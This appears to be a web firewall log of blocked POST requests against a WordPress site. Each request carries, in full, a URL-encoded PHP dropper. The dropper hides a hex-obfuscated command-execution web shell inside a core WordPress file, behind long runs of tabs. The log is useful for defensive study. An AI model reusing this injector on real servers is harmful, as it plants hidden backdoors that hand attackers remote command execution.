["2026-05-12 23:49:40","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqyDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5535\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nvT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:49:47","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> md:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5535\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nmd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:49:53","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", 